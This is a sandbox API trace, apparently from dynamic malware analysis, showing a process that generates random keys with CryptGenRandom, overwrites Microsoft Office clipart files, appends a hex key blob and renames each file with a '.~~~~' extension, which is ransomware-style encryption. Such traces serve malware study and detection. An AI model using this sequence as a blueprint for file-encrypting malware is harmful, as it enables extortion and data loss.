	[0104.341] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.341] GetLastError () returned 0x0
	[0104.341] GetLastError () returned 0x0
	[0104.344] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff62da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.344] WriteFile (in: hFile=0x128, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x9d26, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x25dfec0*=0x9d26, lpOverlapped=0x0) returned 1
	[0104.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.345] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.346] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.346] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.346] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.346] CloseHandle (hObject=0x128) returned 1
	[0104.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.346] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.~~~~")) returned 1
	[0104.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.348] GetLastError () returned 0x0
	[0104.349] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.350] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.350] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.350] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22434056472) returned 1
	[0104.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7df3030, dwHighDateTime=0x1d60e1e)) 
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863f30
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863f30 | out: hHeap=0x300000) returned 1
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868640
	[0104.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.351] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.351] GetLastError () returned 0x0
	[0104.352] GetLastError () returned 0x0
	[0104.352] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.352] GetLastError () returned 0x0
	[0104.352] GetLastError () returned 0x0
	[0104.355] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9974, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.355] WriteFile (in: hFile=0x128, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x668c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x25dfec0*=0x668c, lpOverlapped=0x0) returned 1
	[0104.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.356] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.356] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.356] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.356] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.356] CloseHandle (hObject=0x128) returned 1
	[0104.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.357] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.~~~~")) returned 1
	[0104.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.358] GetLastError () returned 0x0
	[0104.358] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.359] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.359] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.360] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22434982637) returned 1
	[0104.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7e19190, dwHighDateTime=0x1d60e1e)) 
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863f68
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863f68 | out: hHeap=0x300000) returned 1
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28686d8
	[0104.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.360] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.361] GetLastError () returned 0x0
	[0104.361] GetLastError () returned 0x0
	[0104.361] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.361] GetLastError () returned 0x0
	[0104.361] GetLastError () returned 0x0
	[0104.401] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff7b64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.401] WriteFile (in: hFile=0x128, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x849c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x25dfec0*=0x849c, lpOverlapped=0x0) returned 1
	[0104.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.402] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.402] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.402] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.402] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.403] CloseHandle (hObject=0x128) returned 1
	[0104.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.416] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.~~~~")) returned 1
	[0104.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.445] GetLastError () returned 0x0
	[0104.445] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.447] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.447] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.447] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22443712593) returned 1
	[0104.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7ed7870, dwHighDateTime=0x1d60e1e)) 
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28640f0
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28640f0 | out: hHeap=0x300000) returned 1
	[0104.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868770
	[0104.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.448] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.448] GetLastError () returned 0x0
	[0104.448] GetLastError () returned 0x0
	[0104.448] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.448] GetLastError () returned 0x0
	[0104.448] GetLastError () returned 0x0
	[0104.454] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff5c4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.454] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0xa3b2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0xa3b2, lpOverlapped=0x0) returned 1
	[0104.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.455] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.455] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.455] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.455] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.456] CloseHandle (hObject=0x128) returned 1
	[0104.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.456] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.~~~~")) returned 1
	[0104.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.457] GetLastError () returned 0x0
	[0104.457] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.458] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.458] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.459] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22444881088) returned 1
	[0104.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7efd9d0, dwHighDateTime=0x1d60e1e)) 
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2864128
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2864128 | out: hHeap=0x300000) returned 1
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868b98
	[0104.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.460] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.460] GetLastError () returned 0x0
	[0104.460] GetLastError () returned 0x0
	[0104.460] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.460] GetLastError () returned 0x0
	[0104.460] GetLastError () returned 0x0
	[0104.463] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff5962, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.464] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0xa69e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0xa69e, lpOverlapped=0x0) returned 1
	[0104.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.464] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.465] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.465] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.465] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.465] CloseHandle (hObject=0x128) returned 1
	[0104.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.465] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.~~~~")) returned 1
	[0104.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.466] GetLastError () returned 0x0
	[0104.466] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.468] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.468] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.468] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22445814067) returned 1
	[0104.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7f23b30, dwHighDateTime=0x1d60e1e)) 
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2864160
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2864160 | out: hHeap=0x300000) returned 1
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868c30
	[0104.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
